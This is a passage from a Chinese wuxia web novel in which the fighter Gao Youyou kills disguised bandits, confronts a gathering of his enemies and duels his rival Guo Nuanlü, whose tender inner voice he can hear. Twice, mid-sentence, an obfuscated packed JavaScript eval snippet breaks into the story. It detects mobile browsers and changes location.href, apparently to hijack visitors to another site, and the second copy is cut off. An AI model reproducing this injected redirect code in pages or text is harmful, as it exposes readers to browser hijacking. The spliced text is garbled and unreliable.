《我一点也不想知道宿敌哥的内心》 2. 他知道得也太多了点 小无相山是险山。 可景也是个绝景。 天空是一刀劈白的鱼肚,早雾是垂弥山间的苍发,一路山壁势若笔下挥墨毫龙,林林起起又错撇一捺,点出古松峭奇藏云,翻出山泉喧嚣追瀑,各自峥嵘各自推,使人只觉乱艳堆寒——满满当当的是景,无处容身的是人。 可这山容得下高悠悠,是高悠悠容不下这景。 他已经在这路上走过太多次。 有一次他嫌走路太慢,直接就扛着一个受了伤、走不快的雁山派长老飞上去了。 问题他是飞太快,以至于长老在他肩上凌风乱抖,他平稳落地后长老就开始“晕肩”了,晕得颠三倒四,一直撑着卢掌门来慰问,这人竟直接扯开了卢掌门的衣衫…… 事后高悠悠被掌门严重警告——警告他把长老扛上来竟没有第一时间准备呕吐的容器,让长老把掌门的胸口当呕吐袋了,吐完之后还把掌门藏在胸口里的猫给拿出来…… ……擦了擦嘴。 实在太失礼了! 猫不能拿长老怎么样。 但猫在卢掌门胸口抓了好几道儿。 卢掌门疼得龇牙也不能拿猫怎样。 但完全可以把高悠悠给怎样怎样。 他之后惩罚高悠悠练功后帮忙在无相宫捡地上的猫毛三个月,并在山道上施行禁飞令。 禁飞令就算了。 但这个捡猫毛…… 完全就是因为长毛禽兽最近到了换季时候……掉的毛太多让老眼昏花的老掌门根本捡不完……所以想找人帮忙吧? 总之他这次下山是慢慢走的。 小无相山繁华之处,不只在于泰巍殿阁、庄煌楼舍,更在于其汇聚天下武学人才与典籍。 说天宫胜似天宫,说仙境比仙境更真。 可天宫所以是天宫,仙境多半是仙境,只因有众生相的人间在这千百年下——亘古不动。 那人间是怎样的人间? 迎接他的先是一阵惨叫。 山脚下不远处的凉亭旁,一个头发花白的老农,脸上皱纹已和干瘪的橘子皮一样了,此刻却像在用全身力气释出这一声滚烫而粗粝的惨叫,却仍搐动着一股万劫不复的绝望。 因为他此时正被一个刀疤脸的山盗毒打。 如雷点般毒打,每打一下都能听见更厉的叫,每打一下身体就倾斜蜷缩得更加厉害,只剩颤动的双手护住胸部要害。 高悠悠稍微一停。 可也没继续动手。 仿佛不准备救人。 有人说他——非得是铁石心肠才能配上这神绣雪花的容颜,也不算错。 老农在毒打中跌伏哀嚎,一见他就发出虚弱的叫声:“救……救我!” 高悠悠依旧不动,只站在那儿如晨间叶上突兀的一片儿霜色。 山盗白了他一眼,嗤笑道:“小白脸想替老匹夫出头?他欠了我足足五百两银子,你敢过来,老子就连你一起打!” 老农几乎小心翼翼地哭嚎道:“没……没五百两……” 高悠悠面无表情地盯凝。 然后掉头就走。 那山盗大吃一惊,心里却难免有些失望:【这人怎这样沉得住气?】 他一回头的功夫,却见一阵劲风儿从脖颈那边吹起。 高悠悠此刻忽然出现在身后。 骇得他立刻回身。 回身就一刀砍! 那是一把如切峰断浪般的狭长刀身,刀脊翻覆间如白龙摆尾,只一瞬间就劈沉到了高悠悠的肩。 银光骤下,即要砍个鲜血淋漓、筋骨皆断! 却断在了高悠悠一个简单到不能再简单的动作。 一跃。 他一跃如飘身。 飘得像一片纸被个孩子抛了出去,又像一块儿手帕被随意丢了出去。 刀却迅速一转,转而跟上他的脖。似要斩大好头颅如斩纸。 但斩不去。 因他又一低首。 低的动作像是在观察地面,却偏偏在最精准的一刹最近的一寸,让出了这凶险得要砍入肌理的一刀,然后让刀随着惯性往前飞几寸,飞入了他想要的那个方位。 他迅速抬臂。 五根手指从袖中迅速伸出。 瞬间就敲在了这把硕大的刀锋上! 像个远行的客人敲了一下主人的房门。 像个悠闲的琴手敲了一下坚实的琴背。 明明敲的是刀,可那山盗却感到了别的。 他感觉被敲动的仿佛是自己! 自己全身上下都在发出一种被重锤敲震、骨骼爆裂的脆响。 在高悠悠敲刀瞬间,一种澎湃内力从那刀身上传来,像巨石碾肉、巨斧压花一般巨而有力地敲动他的五脏与六腑。 他全身上下震碎似的倒落下来。 刀也立刻下落。 落到高悠悠的指尖便是倏忽一转。 转如银光一折两翻,顷刻搠入了那老农夫的胸口。 老农发出凄厉百倍的惨叫。 却不是因为刀刺中了他,而是被刀刺入的胸口原本藏着的七十二根黑针、三十六种白刺,全在胸口急爆飞裂成了蜂窝。 而高悠悠无情无绪地,且居高临下地。 看这地上惨叫的老者。 面上冷漠得可以架一整个冰梯而不融。 “自己的暗器好受么,‘跛脚农’夏三路?” 那夏三路痛得上气不接下气:“你……你如何看得出我的暗器……是在胸口……” “你在蜷缩时也一直护胸。”高悠悠冷漠地宣判,“你和你的兄弟‘无量盗’何四道,总爱演这蹩脚戏把人诱到近处,再用暗器截杀,靠这么老的一招,你们在五大剑派的各大山道下,害死了至少十个年轻弟子。” 招虽老,可每次演的都不同,有时甚至扮作门派弟子截杀别的门派弟子,且每杀一人就换一个地点,靠这样杀人挑拨了许多门派是非。 其中一次,遇到他们的是投明山的女弟子顾逸人。顾逸人生性热肠,见到有差役毒打老人就上前阻止。 她剑法尚算不错,几招下来就重伤了那差役。 只是在她把这可怜哀嚎的老者从地上扶起的瞬间,毫不设防地被七十二根毒针三十六根毒刺倾泄到胸口。 就是现在这些扎在老人胸口的白针和黑刺。 高悠悠双手背后地、毫无情绪地看着这人。 像庙里一座断臂的残缺泥塑神像。 冷眼俯瞰脚下贪婪残忍的信众。 临死前,顾逸人用尽最后一丝力气,也就是门派剑法之中的一道精华,刺伤了这老者和他的恶人兄弟。 她濒死都如此,可见若活着,剑法造诣本该更上一层楼的。 “她本是个练剑的好苗子。”他这么说。 夏三路一愣,随即便涕泪流得像多年喂狗的良心都活了起来:“老朽知道……不该杀了顾女侠,可……老朽……从顾女侠的身上……身上香包看出是她后,至少没侮辱她的尸体啊,你,你就可怜可怜一个老头子吧,唉,快死的老头子……” “和我有什么关系?”他皱了眉,“我只是在说她的剑法。” 然后他蹲下来一指戳入了这老人的眉心。 把尊老的人杀了,却指望杀你的人尊老? 然后他接着往城镇的方向走,却看见一个可怜的少年摔在地上,骨头都给摔断了,哭天喊娘得可怜,见人来了就求救。 高悠悠走到大概一百尺的距离。 然后扭头就走。 那可怜少年都哭得暂停了,愣了。 接着他又走了一两里,发现一个凶神恶煞的地痞正把一个年轻俊俏的小倌强行压在地上,小倌哭天喊地,那地痞却姿势猖狂。 高悠悠还是走到大概一百尺。 然后扭头就走。 小倌地痞不仅一起楞了,连姿势也一道儿卡了。 高悠悠倒觉得方便。 从前没有心声,还需要靠近看一看这些恶人在玩什么把戏,现在只需隔一百尺,就能听到心声了。 比如方才那个装断腿的少年想的是。 【快过来啊受死啊!怎么还不过来?还不过来!?】 他就不过去。 之前那一个地痞和小倌想的则是。 【这么刺激香艳的场面他都不阻止?他也不看?他还是人嘛?他不来我们怎么能一起把他杀了?】 他就不去看。 自从他听到章师姐在脑内背诵了一百遍观鸟实录后,他已经完全……完全连现实里的真鸟都看不下去了。 更重要的是,他不想被这群小人消耗任何的体力内力。 这事儿有先例。 人称“幽海潜龙”的李构幽,在归乡路上被一伙邪派小人一路蹲点截杀,他遇到七路人打退七路人,却在终点遇到了一个真正强横的刺客,本来能打过的,可那时他的内力消耗太多,最终把活路打成了死路。 就在高悠悠不紧不慢地走了三四里路,走得天色渐昏日头渐暗的时候。 发现这些人居然又出现了一个茶棚附近。 且这次他们演的是一群小无相山的弟子。 方才摔断腿的少年,穿着弟子服,正笑着把腿搁在一个百姓颤动的身躯上,而方才的地痞和小倌,换了高阶弟子服,一个把锤子落在了食客弯曲的背脊上,一个把剑直接搁在了路人的大腿上,还在狞笑。 “小无相山弟子收租要钱?谁敢拒了我们就打杀谁。” “你多看一眼,是不是心底在骂我?你也该死。” “哭什么哭?把衣服脱了叫我割上一百刀再走。” 看装饰服饰,这三个恶人杀手,该是尘疯谷的“浪断腿”苏断、“八赖子”赖八八、“恶惜娇”柳娇男。 这三人,合在一起有合在一起的奸,分开来有分开来的恶。 没想到来的是他们。 高悠悠冷眼看着。 他不愿走那位前辈的老路。 可现在这群人顷刻间就要杀人。 且是顶着小无相山弟子的服饰。 他难道还能坐视不管? 正当高悠悠要一跃而出的时候,一道儿黑影忽闪而过,一把剑却如如银梭旋舞一般舞开来,刺向那嚣张笑的苏断! 苏断闪身一让,当即抽出白亮雪凛的刀子与之拼在一起,撞了个火光四溅! 高悠悠本来眼前一舒,此刻却失望了。 因为那确实是个唇红齿白的蓝衣青年。 可他和郭暖律的相似点也仅止于同为男性这一点了。 首先郭暖律的脸。是那种能让基本记不住外貌的高悠悠都能记得住的。 这已经是很高级别的赞誉了。 而这少年的脸……是个男的。 完了。 再是郭暖律的剑。如果这一剑是郭暖律刺出来的,根本就不能有那些又舞又旋的花招。 它会直接刺入苏断的咽。 完了。 这青年的剑和郭暖律比起来,像放慢了整整十倍后的慢动作。 不是因为青年的剑练得不到位。 是因为郭暖律的剑已经不是快。 而是根本看不见。 在郭暖律最高速甩出去的那一剑就像是刺破空气的一道直线,几乎到了无形可追的程度,哪怕高悠悠也只能透过上一剑的残影推测出下一次的路线,或者努力拉开距离不让近身。 一旦近身,剑强一寸便高一分的道理就会发挥最大余热。 高悠悠身上的几处隐秘而又缱绻的剑伤就是这么来的。 所以当那蓝衣青年的剑在柳娇男的剑上弹了一记又被拨回了赖八八的锤子上,接着步法被带偏了路线没能回到架势时,高悠悠就已判断——此人十招之内必入颓势。 果然第九招,蓝衣青年的剑就被一个冲撞带歪,剑锋竟卡在了一旁的木头砧板上。 只这稍稍一慢。 苏断立刻抽出机会就抽出一道“断水长刀”。 从那青年的脖颈之上如透明的浪峰一般大劈而下。 马上就要斩首于此! 高悠悠忽一跃。 他一个提膝猛地骑上苏断的肩膀,利用双腿一绞,直接把苏断给绞旋到了地上,接着往后一翻躲开赖八八的一锤,那锤子没锤到他,却砸到了地上的苏断。 欲斩首的苏断就这么被砸烂了脑袋。 赖八八看得那一团本来是脑袋的血肉发愣时,膝盖忽遭雷击般猛痛,像被什么人踩了一脚,他整个人往下一沉时,遇上高悠悠往上急托一掌,如水切云剪一般斩击了他的咽喉。 接着高悠悠头也不回,往后递去五指。 截住了刺向他脊背的一剑。 指尖分花覆柳般一转。 剑锋竟然被他像面条一样带着旋转起来! 柳娇花吃痛得松了剑,下一刻就发现自己的剑又回来了。 不过是剑尖回来。 刺穿自己的胸口。 持剑的另一端。 高悠悠的手。 他临死前最后看到的。 高悠悠的眼。 那一双仿佛是素手折雪、覆于神像,以至于泥塑气霜寒气和神圣感都混在一起的眼。 高悠悠起时,见到那个蓝衣青年震惊之余根本说不出话来,等到好不容易能说出来,那一脸崇拜敬重的眼神,活脱脱的就是那些个年轻弟子第一次遇到他的样子。 还没那么害怕他的样子。 高悠悠内心一复杂,对面那人就感激得恨不得扑上来:“在下徐宴冲,多谢恩公解决这些小无相山的狗贼,敢问恩公大名?” 高悠悠一皱眉:“小无相山的……狗贼?” 徐宴冲见他不愿透露姓名,只试探道:“这些人身着小无相山的衣服欺压百姓,用的又是小无相山的剑刃兵器,可不就是……小无相山的狗贼吗?” 高悠悠刚升起的复杂心绪当即变成了嫌弃。 他懒得多说,直接就走,舆论有别人去烦心。 可那徐宴冲看他穿得朴素干练一身布衣,又见他身无兵刃,便认定了是过路的高人,立刻就追上去道:“恩公且慢,我来这儿就是为了去找那小无相山的‘神佛无相’高悠悠,你见到小无相山的弟子就打,难道不是和我一样吗?” 高悠悠皱了皱眉:“你找高悠悠什么?” 徐宴冲的喜色一下子过渡成了怒色。 “他杀了我的堂兄徐宴山!” 徐宴山是谁? “请宴八方”徐宴山,叙州有名的地方豪侠,平素最爱收容绿林人才,也好打抱不平,义气名声是有。 想一想,自己半年前确实是杀了此人,理由是…… 徐宴冲怒道:“我堂兄当时不过是路过了高悠悠的杀人现场,却不知为何惹怒了这个杀神。” 高悠悠当时不过是路过了徐宴山的杀人现场,却不知为何发现对方除了杀人还在干一件事。 这人趴在一个小姑娘身上。 于是他就回到了杀人现场。 戳完指头。 把姑娘带出去。 出去时再把手上的血给洗了洗,然后就没了。 徐宴冲怒道:“我那堂兄是英雄盖世、义名四海截知,我始终想不明白,这狗贼到底为何就那样杀了堂兄!” 高悠悠淡淡道:“因为他是个该死的贼。” 徐宴冲一愣,立刻点头:“没错,高悠悠确实是个该死的贼!” 高悠悠:“……” 这脑子是和股子互换了吗? 他真不想理这人了,转头就要走,没想到徐宴冲马上道:“恩公若不愿搅入是非,还是快些离去吧,那高悠悠可不是什么好惹的人,你杀了小无相山的人,他必定要下来寻你麻烦。如今我和受过堂兄恩惠的人,还有和高悠悠有仇的人,都聚在这一两里外的聚义亭中,我们势要和他讨个公道,若有人问,我也会把这三人的死揽在自己的手下的!” 高悠悠忽停。 “……和高悠悠有仇的人,也会在那个什么聚义亭吗?” 那个人也会在? 徐宴冲道:“对啊,恩公这样问,是想和我一起去和群雄聚义吗?” 【话说回来,这位不愿透露姓名的恩公……到底是来做什么的啊?】 高悠悠只冷定沉稳地回过了头。 “带我去那个地方。” “我要找那个杀得了高悠悠的人。” 高悠悠本来觉得徐宴冲这种模式可能是什么新型的诈骗。 可听了心声发现,这小子是纯粹脑子不太好使,直接把他一个不愿意透露姓名的人带去了此次行动的大本营。 然后他扫了一眼大本营。 “莲花小判”商道莲、“朦云剑”方朦河——勉强算中手好了。 “鹿山婆婆”朱鹿儿、”边塞兰衣”边叙兰——中低手。 “白刀屠夫”申屠、“黄城船夫”解隐——低手。 “明山有亮“兄弟俞又亮,甄更明——低低手。 其余的更是连低手都算不上了。 ……这算什么? 这到底算什么? 就这么个破鸡屠狗一般的大本营,他为什么会觉得郭暖律会选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969459|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这儿来呢? 想了想,他还是一声不吭地坐下。 因为他忽然想明白,郭暖律肯定不会愿意和这些人为伍,但只要他认为高悠悠认为郭暖律在这儿,认为高悠悠会来这里找他,那么郭暖律也肯定会过来。 所谓连环套,就是这样了。 想清楚这点,他倒泰然处之。 众人本来是要询问身份的,可见那徐少爷力声儿保证,又见这人虽是衣着实在寒酸简朴,可看着俊风烈骨、寒凛逼人,不笑的时候,眉尖可自带一股悠远渺然的清淡,看着不像是是尘世里的人似的。 想来是个背景一般,是投门路搏出路来的无名客。 这样的人太多太多了。 只是他好看得也太多。 那“鹿山婆婆”朱鹿儿却笑了一声,善声儿劝道:“你这漂亮年轻人,年纪小小脾气倒大,连杀三弟子,把小无相山得罪得不浅,还是和我们一起吧,不然像高悠悠那等厉害的杀神,可是绕不过你的。” 徐宴冲也赶紧劝:“恩公你留下来,也好过被人追杀啊。” 高悠悠只淡淡道:“你说高悠悠厉害,他厉害在哪儿啊?” “朦云剑”方朦河生的俊,讥起人也不含糊。 他不屑地扫了一眼这人一身白得有些发灰的朴陋衣着,和高悠悠背上那个骨灰盒一样的饭盒(里面是章师姐腌制的鸡),冷笑一声道: “就你这穷酸样儿,白长了这一头好看容貌,怕是哪家庙门刚还俗的沙弥,还敢谈论他的厉害?不会以为你杀了三个低阶弟子,就觉得自己能杀了高悠悠吧?” 郭暖律还不出现?这种人也配用剑当外号吗? 高悠悠随意道:“我杀不了他,你们杀得了?” 方朦河讥笑一声,大家便开始叽叽喳喳地讨论起了高悠悠的弱点。 有的说高悠悠的指法虽强,腿法下盘却不稳。 有的说高悠悠喜肉搏近战,肯定不擅兵刃战。 有的说高悠悠内力惊人,可外功却未必温当。 一塌糊涂。 糊涂一堆。 高悠悠听了一会儿,默默说了一句话。 “他的弱点在指尖劲气儿连发的速度。” 忽然,不仅是方朦河,连那一直一语不发的“莲花小判”,有名的美男子商道莲,此刻也转过了莲花面容,异常严肃地看向高悠悠。 “兄台请继续说。” 高悠悠随意道:“他的劲气儿连发过后,左右指尖搓合的速度会变慢,所以只需要多方进攻,左右交接,逼迫他一直连发,他迟早会慢到一个可以被打倒的地步……” 随着他娓娓道来,随意叙说,所有人的目光都亮了一层。 就这样,高悠悠在打倒高悠悠大会上获得了侦查高悠悠弱点的第一名。 看着大家此起彼伏的鼓掌声和一群惊叹的震撼的眼神,他只觉得有点奇怪的……安慰感? 为什么随便分享个见解这么多人会开心?小无相山外面的气氛就是这样热烈的吗? 徐宴冲笑着去挽他的手,他还是躲了,徐宴冲便学学记忆中的堂兄,故作豪迈地笑道:“恩公都说到这个地步了,你还不打算透露自己的姓名吗?有了你,我们的胜算可是大大增加了啊。” 高悠悠随便想了想。 然后他随便地说了一句让所有人的笑容都原地消失的话。 “我姓高,我叫高悠悠。” 全场静默。 死静。 然后,高悠悠抬起了手指。 一根手指抬起来。 俞又亮劈开的大刀,甄更明砍来的小斧直接凹进去了一大截! 两根手指捻上去。 方朦河的“懵云剑”被这手捻得一弯二折且几乎成了一条面! 三根手指在弹琴。 弹走的是“鹿山婆婆”朱鹿儿的杖,拨飞的”边塞兰衣”边叙兰的剑! 四根手指搓起来。 “白刀屠夫”申屠被一道无形的指尖劲气儿击中而倒飞了出去,连带着撞到了“黄城船夫”解隐,且一路往前撞到了树! 五根手指在摸树。 一道“无相随心指”的指尖劲气直接穿过树,靠这“隔山打牛”的神功,竟然直接打到了树后藏着的莲花小判”商道莲,逼得他吐血几分,栽倒在地! 全场倒地。 高悠悠站着。 他有些麻木和疲惫地看着地上这些人,然后看向了……场上战战兢兢的,唯二站着的那个人。 徐宴冲。 他充满惊恐地看向高悠悠。 高悠悠只淡淡道:“他们都出手了,你为什么不来打?” 落后就是得挨打,但先来的先挨打。 现在都打完了,就该轮到你了。 徐宴冲全身如灌了冰霜一般颤动不已,不知道是因为被救过而不愿出手,还是因为极度的恐惧导致手脚酸麻而不敢出手,只是高悠悠看他这样无甚斗志,也就无所谓地往前踏了一步。 他只是想走开。 可没想到这群人以为他连徐少爷也杀,纷纷声嘶力竭地怒吼。 “徐少爷快跑!快跑啊!” 可高悠悠横扫一眼。 这些人又大部分闭嘴了。 他更觉出一股强烈的郁闷和无趣。 郭暖律干嘛不过来。 不就是自己没有理他半年之久,不就是自己任由他在山门外一次次徘徊都没有去见他,不就是……不就是自己不敢在适应心声之前,去找他……去杀他么? 至于这么久不来?至于这么久…… 一道儿疾风忽的破晓而来! 他瞬间浑身战栗似的猛地跳开。 而原本他站立的位置多出了一大道砍劈的凹痕! 对面的人还未看清楚身形,只有一把曲剑在空中如蛇游浅水一般抖擞刺来。 高悠悠不得不急速一偏腰。 那银光几乎是擦着他的腰间而去的。 可偏腰的瞬间他也刺出一指! 捻上那剑锋的同时,把内力也传上了剑锋。 那曲剑后撤,却是一把直剑紧接着递过来。 刺他的胸膛! 高悠悠立刻反手护着心口,同时急速后旋撤退。 滑开三丈之后,他惊觉背后一阵寒风,立刻旋背扭胯。 任剑尖擦着他的后背贴过去的,同时他的手也贴向那剑身,冲那剑的主人眉心发出一记致命的指风。 那直剑迅速回防到脸上,那人侧首一偏,换成了曲剑如瀑布一般展开,几乎似粼光一般波澜漫流。 长聚成虹,炫美绮丽之间,却在一瞬间万光齐暗,几乎没有任何空隙地去刺他的咽喉! 这种窒息式的密集打法,目不暇接的变招换招,已经把在场的人都看懵了。 高悠悠却瞬间双手齐发,指尖无形劲气如激流瀑雨一般飞涉而出。 这才堪堪刺偏了那剑尖的轨迹。 可剑尖忽的一折,继续刺他漂亮的咽喉! 而高悠悠一个大仰身躲过这一剑,同时空中连发六道劲气。 一道比一道猛、一道比一道急,各种匪夷所思的角度都来! 对面那人倒滑三步,飞跃三转,落地再扫剑似流瀑,这才飞转错开了六道指风,同时站立,冷眼而看。 而高悠悠也终于站定,在暮光下冷眼对望。 这几招之内的急杀抢攻,全在一瞬间完成,每一招都是险峰,每一次都是极致的没任何余地的厮杀。 谁也没占据上风。 是他。 郭暖律抬起深邃美厉的一双瞳,在昏暗光下竟隐泛琥珀黄色,一双秀眉,仿佛都带着碧刀绿剑般的凌厉翠意。 高悠悠目光一凛:“……你还没死啊?” 郭暖律目光冰冷,如同仇寇地看向他。 “杀了不该杀的人还敢现身,既然你这半年间都不肯死,那今日就该死在这儿了吧?” 可在那冰冷的成熟音色后,高悠悠忽然听到了一句从未听过的声音。 清亮纯粹的少年音。 【悠悠你终于下山了啊。】 然后又是这一种好像是甜汤里捞出来的少年声音。 【我很想很想你。】 【你想不想我?】 【……你好像有些不开心?】 ……什么东西? ……刚刚什么东西在耳边响起来了? 看着眼前漠然冰冷的青年郭暖律,可听着耳边那明亮纯粹,且摇曳着意气、少年气,甚至清甜气息的陌生音色…… 高悠悠忽的彻底麻愣住了。 3. 郭暖律是什么人呢 郭暖律是什么人呢? “不老剑神”吴醒真的挚爱高徒,号称“剑绝“聂小棠的师兄,据说是”横刀请剑”白少央的昔日好友,同时也是…… 高悠悠认识了一年,在一年中追杀交锋了十几次,在彼此身上留下过十几道擦伤、切割伤、碰撞伤,却仍旧未曾死,不可能死,死了也要活起来再战的……宿敌啊。 这样的宿敌。 这样被他承认的男人。 被他寄予厚望的一个人。 心声居然是这么地……这么地…… 高悠悠一时失去了言语。 失去了表情。 连思考也短失暂去。 这导致郭暖律看向他的目光越发地冷凝、森寒、步步紧逼。 亭子旁的山风如一道叠上一道的浪,把他的衣衫吹出浮跃无定、行巅淌云的气浪,使得他整个人站在那儿,就如一块儿冰掉在一个自负不凡的隐世画家手里,于是一敲一啄,一撇一捺落在他身上,连笔触都是锋锐的,色调都是冰冷的。 这样一个人,幽冷的目光盯死高悠悠。 那感觉像一把刀搁在他的秀气脖颈旁。 没有人会怀疑他是真想把高悠悠一击毙命。 高悠悠也看过去。 他愿意再给对方一次机会。 就当刚才那种不可名状的声音是幻觉吧!一定是幻觉吧! 郭暖律冷笑挑眉:“你被雷劈傻了?眼睛发直地看人做什么?” 那森冷的声音也让高悠悠短暂地回过神来。 宿敌还是煞气满满。 令人安心。 宿敌还是嘴臭如粪。 使人平静。 然后就在高悠悠稍安心,觉得刚才只是幻觉时。 他又听到了那声音。 【呼吸平静些了呢……你不难过了吗?】 好像风里微雨里吹来的,恬亮的温存的寂寞的少年音。 使他眉尖一搐,心中好像某种异样的地方被触了一动,那声音却是微微一转,像被火燎过似的带了点儿动情的沙哑。 【你倒是不难过了。】 【但你为什么半年都不来找我?】 【我很想很想你!】 高悠悠沉默了。 郭暖律目光如冰层溅起的火花,是不加掩饰的杀气与冷嘲:“你在山上躲了半年,以为逃得过,今日便是你的死期,后事可都准备好了吧?” 【你不会一点准备都没做吧?】 【我可都准备好了,我就来见你啦。】 准备好的是……你自己的后事? 高悠悠的沉默越来越盛。 他困惑且震惊地瞪对方。 【我想你的手了。】 郭暖律的琥珀瞳孔微一眯:“你还不动手?” 【你这样看着我……】 【还是在难过么?】 郭暖律句句如刀,始终得不到对方的回应。 似乎觉得这种沉默有些异常和令人焦躁。 他便皱了皱眉。 干脆扫视周围。 凡被他扫视到的人,竟都有一种芒刺在背的尖锐感,一个个低下头去。 只因那目光厉得像一把旧刀子正在被人一点点地剥落铁锈,正缓慢露出里面的真正锋芒。 【是这些人的关系吗?你何时这样在意他人的想法了?】 然后郭暖律回头看向高悠悠。 “说不出话?哑了?还是做了亏心事,心里存着天大的愧?” 众人都以为他说的是高悠悠。 可高悠悠知道他说的是众人。 郭暖律眼见没有任何回应。 目光接近一种极致的冷冽。 【既然你还是这么难过……】 “既然你无话可说,那就……” 【那就一起来和我跳舞吧,悠悠!】 高悠悠一愣,就在他寻思这句语气略带期待的“跳舞”是什么意思的时候。 郭暖律再度拔剑。 长剑与短剑。 长的名为“曲水”,是一把白缎银链的软剑。 是两面轻剑。 短的暂名为“掩光”,玄铁所制、百刀不侵。 是八面钢剑。 他先拔一把长剑在手,周围三丈之内,全部充盈着无形无相的劲气与澎湃的杀气。 如搏浪之鲸、扑天之雕一般扑向了高悠悠 高悠悠立刻一跃。 在空中连击数道。 郭暖律则一碰就退。 不但避开正面交锋,还借着指风的劲力,向后急弹、旋撤。 高悠悠一愣,对方要逃? 却没想到对方后撤到了凉亭的台阶之上。 然后蹬了一蹬。 借力第二次冲。 这次他扑来更快,且力道更猛、气势更足,犹如一去不返一往无前的天地中一道无可阻挡的直线。 长剑如花鬘抖擞,深流飞瀑般刺出。 快到高悠悠只来得及微一偏首,长剑几乎从离他鼻尖不到一寸的距离滑过。 这么近、这么险的距离。 差一点就能切入两腮,生肉出血。 这险恶的交锋、这令人肝颤肉碎的杀戮,这一招近得他几乎可以看得见郭暖律眉尖怒发的翠意,这一剑厉得也能让他看得见对方眼底那清寒刺骨的杀气。 这一剑之厉之猛之悍烈无双,直接就把一旁的徐宴冲给看呆了。 有这么猛的剑? 剑还能这么用? 这么用的居然还是一把软剑? 软剑唉! 高悠悠则心中激喜,眼中彻骨透亮。 刚才的心声果然全是幻听。 做不得真的。 明明郭暖律还是那个郭暖律。 明明他杀人方式还是那么悍然,那么粗猛。 那么清甜温存,恬静寂寞的,怎么会是他的心中声音? 高悠悠不但安了心。 还生出了一些难得的振奋。 这振奋的直接后果就是——这样的颓然劣势下,他竟然在电光急褶间往前一纵身。 跟着剑,跟着跃,跟着急弹出水玉般的两根指头。 竟捻住了那一往无前的剑锋! 郭暖律吃了一惊。 高悠悠竟然空手握住了他的剑。 这还是数十次交锋以来的头一次。 情势立刻急转直下。 因为高悠悠捻在剑尖上的指尖开始发力。 如旋花鬘,似抖玉簪,旋而倒转,转而崩颤。 因为只要他的手指旋转剑锋,郭暖律人在半空,又不可能和他一起转。 他肯定得松开剑。 只要松剑。 高悠悠就能夺剑。 没了长剑的郭暖律。 就只剩下一把短剑。 就好像没了一条爪的猫。 怎么死,死得痛不痛快,都得是他说了算。 他就是靠这招杀死了尘疯谷的“恶惜娇”柳娇男。 现在就这招,去杀郭暖律! 郭暖律却在高悠悠开始急旋剑身的那一瞬,立刻地、果决无比地、精妙绝伦地做了一件救了他自己性命的事。 他直接打出了短剑。 却是打在了自己的长剑之上。 这关键性的一打,抵住了长剑。 也止住了高悠悠旋转剑锋的势。 然后短剑如匕首一般顺着长剑剑脊向前一滑,顷刻间就削向高悠悠的指尖! 高悠悠立刻撤指。 撤指却不撤风。 一道指风急弹而出,往上斜打郭暖律的肩。 郭暖律的短剑瞬间回防。 一剑到肩。 因为他早看出对方的习惯性动作。 早知道这一招接下来一招必是指风。 他太熟悉对手。 也太想活下去。 可他的瞳孔也立刻骤然爆缩。 因为极近距离的指风,居然是隔山打牛! 指风直接透过短剑的剑身穿透过去,这厉烈力道把郭暖律连人带剑地一次性冲飞! 这是高悠悠这半年来新研究的新指法——只要拉到极近极近,物理隔离完全失效。 这几下迅杀猛防、急攻回挡。 几乎把在场的人,包括商道莲、方朦河等人看得眼直了、心凉了,呼吸都快跟不上招式了。 郭暖律的剑法、算力、招式力道已经是同龄人中很强很强的的一个了。 可高悠悠居然这么强? 怎么和神仙一样强!? 怎么这么强这么强!? 要怎么可能打的赢他? 要谁才有可能打的赢啊!? 当然了,这指风无论如何都挡不住的话,郭暖律为什么还要用短剑去挡呢? 答案是不挡的话,会被指风直接在身上穿一个洞。 挡一下的话,只是被击飞。 只是击飞,就还有机会! 郭暖律被巨大力道冲飞的瞬间,立刻旋腰扭身,竟在撞向柱子的最后一瞬调整了步伐、腰部速度、落脚角度。 使他居然能在柱子上踩了一踩。 他踩的瞬间稳定身形,而高悠悠已飞扑过来。 郭暖律毫不犹豫地进行第三次冲击。 距离不够的情况下,再没有第四次冲击的机会了。 这一次就是决定胜负! 不胜就死。 素来如此。 郭暖律在半空中双剑参差急打,打出暴雨松针、银河倾泄的气势,分刺腰腹手足。 而高悠悠左躲右闪之后,指尖也一磋二磨,竟然疾弹而射三道无形无相、恍如罡刀的指风。 这三道指风,曾把一个彪形大汉飞上了天,等下地时他那肉一样的山身上已有了三个巨大的凹痕。 这三道指风,也曾在瞬间而发,同时把扑向高悠悠的三个邪教杀手刺倒在地。 现在指风对准郭暖律。 第一道指风打短剑。 第二道从中打长剑,逼迫他松手。 第三道才是真正杀招,在他松手而无法回防的一瞬间,直接刺向他的咽喉。 他死定了! 生死存亡之际。 郭暖律做的是什么? 他居然左手掉了短剑,右手立刻接上、交换。 瞬间交换了长短两剑的位置! 所以第一道弹在短剑上的指风,变成了打在长剑。 这是极为关键的一步。 这道指风打在剑脊上,剑脊一触即崩,长剑要软下去。 结果短剑一抵长剑。 使得长剑又“唰”地一下反弹了袭来的第二道指风。 同时这人身子往后一仰,急速后撤,同时把左右两剑横在了自己的咽喉之间,一层接一层地挡,终于挡住了那击向咽喉的指风,没让隔山打牛的劲儿刺入咽喉! 就这样化解了! 可郭暖律还是付出了点儿代价,那指风透过隔山打牛的劲儿没有击碎他的喉骨,却压着两把剑在他的脖子上划了一点儿浅浅的血痕。 他受了点儿轻伤。 可却越战越猛,目光如血上掺冰,越发冷酷! 这给了高悠悠莫大的惊懵。 也是莫大的惊喜啊。 他几乎一下惊红了眼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 